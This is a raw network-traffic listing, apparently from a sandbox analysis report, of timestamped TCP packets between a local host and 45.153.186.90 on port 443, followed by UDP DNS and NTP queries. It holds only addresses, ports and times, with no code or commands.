Aug 10, 2021 15:17:46.270996094 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:46.306910038 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.322185993 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.616817951 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:46.617029905 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.625653982 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.627064943 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.671205044 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:48.671324015 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.672452927 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.697833061 CEST	443	49782	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:48.697977066 CEST	49782	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.720789909 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:48.763319969 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:48.763431072 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.764369965 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.768563986 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:48.816695929 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:48.816732883 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:49.058728933 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:49.058799028 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.066320896 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.068089008 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.157097101 CEST	443	49783	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:51.157203913 CEST	49783	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.164658070 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:51.183310032 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.184647083 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.249898911 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:51.307274103 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:51.314307928 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.314964056 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.367500067 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:51.707143068 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:51.765434980 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:52.057719946 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:52.063951015 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.072736025 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.074731112 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.162713051 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.162741899 CEST	443	49784	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.163007021 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.163009882 CEST	49784	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.170418024 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.279725075 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.291208029 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.291526079 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.292213917 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.297941923 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:54.362598896 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.545519114 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:54.545833111 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.556579113 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.558667898 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.628556013 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.628807068 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.630105972 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.634563923 CEST	443	49785	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.634794950 CEST	49785	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.671545029 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.683160067 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.683335066 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.684261084 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.693311930 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:56.732884884 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.940090895 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:56.940365076 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:58.953921080 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:58.953959942 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.001163006 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.001315117 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.001918077 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.042742014 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.056610107 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.094645977 CEST	443	49786	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.101640940 CEST	49786	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.263230085 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.263402939 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.264138937 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.269593000 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:17:59.364289045 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.369998932 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.657026052 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:17:59.657099009 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.667378902 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.707648039 CEST	443	49787	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:01.707748890 CEST	49787	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.708396912 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.738739967 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:01.738852024 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.739563942 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:01.764771938 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:02.047657967 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:02.047930956 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:02.048633099 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:02.053829908 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:02.073087931 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:02.079842091 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:02.384193897 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:02.384287119 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.401818991 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.404894114 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.524880886 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.525079966 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.526238918 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.530885935 CEST	443	49788	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.531008959 CEST	49788	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.589082956 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.632883072 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.632976055 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.633829117 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.637878895 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:04.660773993 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.664236069 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.921154976 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:04.921444893 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:06.934467077 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:06.934983969 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:06.960160971 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:06.961812019 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:06.961841106 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:06.976269960 CEST	443	49791	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:06.976480007 CEST	49791	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:07.004843950 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:07.046283007 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:07.046505928 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:07.047003031 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:07.050555944 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:07.091217041 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:07.091239929 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:07.448429108 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:07.448539019 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.464977026 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.465090990 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.539046049 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.545176983 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.545203924 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.545226097 CEST	443	49792	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.546859026 CEST	49792	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.635596037 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.641047955 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.647562981 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.647629976 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.647661924 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:09.757575989 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.949325085 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:09.949489117 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:11.965465069 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:11.968605995 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.015486002 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.020313978 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.022829056 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.044382095 CEST	443	49793	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.044575930 CEST	49793	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.046916008 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.119689941 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.119805098 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.123739004 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.130100012 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:12.164990902 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.172426939 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.422915936 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:12.423099995 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.433032036 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.434971094 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.518731117 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.518762112 CEST	443	49794	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.519004107 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.519095898 CEST	49794	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.520020008 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.601593971 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.610748053 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.611020088 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.611780882 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.617409945 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:14.689635038 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.888223886 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:14.888910055 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.903763056 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.905786991 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.957578897 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:16.957623005 CEST	443	49795	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:16.957778931 CEST	49795	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.958451986 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.958472013 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:16.988312960 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:17.030332088 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:17.030453920 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:17.031182051 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:17.036355019 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:17.054980993 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:17.064774036 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:17.288988113 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:17.289093971 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.293018103 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.295274019 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.322561979 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.322725058 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.323498964 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.361799002 CEST	443	49796	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.361907005 CEST	49796	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.362046003 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.460920095 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.461201906 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.462043047 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.467780113 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:19.486205101 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.491869926 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.767512083 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:19.767796993 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.776823044 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.779196978 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.831383944 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:21.834347963 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.835226059 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.859062910 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:21.862159014 CEST	443	49797	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:21.862286091 CEST	49797	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.940198898 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:21.940304995 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.941183090 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:21.947489023 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:22.004463911 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:22.018237114 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:22.390176058 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:22.390403032 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.402235985 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.404426098 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.428436995 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.430855036 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.431060076 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.440212965 CEST	443	49798	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.440316916 CEST	49798	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.473493099 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.475375891 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.475919008 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.476358891 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.483757973 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:24.539062977 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.752365112 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:24.754996061 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.762293100 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.764359951 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.790785074 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:26.791024923 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.792372942 CEST	443	49799	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:26.792463064 CEST	49799	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.793416023 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.822282076 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:26.826029062 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:26.826173067 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.828960896 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.835199118 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:26.868268967 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:27.045814037 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:27.045933962 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.058990955 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.060929060 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.107788086 CEST	443	49802	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.107999086 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.108933926 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.115032911 CEST	443	49800	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.115169048 CEST	49800	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.139632940 CEST	443	49802	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.140089035 CEST	443	49802	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.140259027 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.140955925 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.146812916 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:29.179555893 CEST	443	49802	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.446677923 CEST	443	49802	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:29.447175980 CEST	49802	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:31.454235077 CEST	49801	443	192.168.2.4	45.153.186.90
Aug 10, 2021 15:18:31.509660006 CEST	443	49801	45.153.186.90	192.168.2.4
Aug 10, 2021 15:18:31.509753942 CEST	49801	443	192.168.2.4	45.153.186.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2021 15:16:16.775140047 CEST	49714	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:16.800048113 CEST	53	49714	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:16.824722052 CEST	58028	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:16.860255003 CEST	53097	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:16.869782925 CEST	53	58028	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:16.914264917 CEST	53	53097	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:17.786489010 CEST	49257	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:17.814292908 CEST	53	49257	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:19.298827887 CEST	62389	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:19.327651978 CEST	53	62389	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:20.462732077 CEST	49910	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:20.491878986 CEST	53	49910	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:21.506918907 CEST	55854	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:21.533365965 CEST	53	55854	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:22.464451075 CEST	64549	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:22.497306108 CEST	53	64549	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:23.377664089 CEST	63153	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:23.406368971 CEST	53	63153	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:24.586139917 CEST	52991	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:24.622629881 CEST	53	52991	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:25.607156992 CEST	53700	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:25.633985996 CEST	53	53700	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:26.810106993 CEST	51726	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:26.836703062 CEST	53	51726	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:28.132977962 CEST	56794	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:28.160948038 CEST	53	56794	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:29.149389029 CEST	56534	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:29.174679041 CEST	53	56534	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:30.387901068 CEST	56627	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:30.430759907 CEST	53	56627	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:31.791968107 CEST	56621	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:31.820045948 CEST	53	56621	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:32.594978094 CEST	63116	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:32.627887011 CEST	53	63116	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:33.463232994 CEST	64078	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:33.498806953 CEST	53	64078	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:33.882018089 CEST	64801	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:33.980565071 CEST	53	64801	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:34.044972897 CEST	61721	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:34.150279045 CEST	53	61721	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:34.152331114 CEST	61722	123	192.168.2.4	194.58.200.20
Aug 10, 2021 15:16:34.189554930 CEST	123	61722	194.58.200.20	192.168.2.4
Aug 10, 2021 15:16:34.196338892 CEST	51255	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:34.288000107 CEST	61522	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:34.315855026 CEST	53	61522	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:35.225660086 CEST	51255	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:35.299932003 CEST	52337	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:35.330619097 CEST	53	52337	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:36.225161076 CEST	51255	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:38.271431923 CEST	51255	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:42.272162914 CEST	51255	53	192.168.2.4	185.243.215.214
Aug 10, 2021 15:16:46.313842058 CEST	55046	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:46.354803085 CEST	53	55046	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:46.606585026 CEST	49612	53	192.168.2.4	8.8.8.8
Aug 10, 2021 15:16:46.640486956 CEST	53	49612	8.8.8.8	192.168.2.4
Aug 10, 2021 15:16:46.641372919 CEST	49613	123	192.168.2.4	194.58.200.20
Aug 10, 2021 15:16:46.677577019 CEST	123	49613	194.58.200.20	192.168.2.4
Aug 10, 2021 15:16:46.680650949 CEST	49285	53	192.168.2.4	185.243.215.214
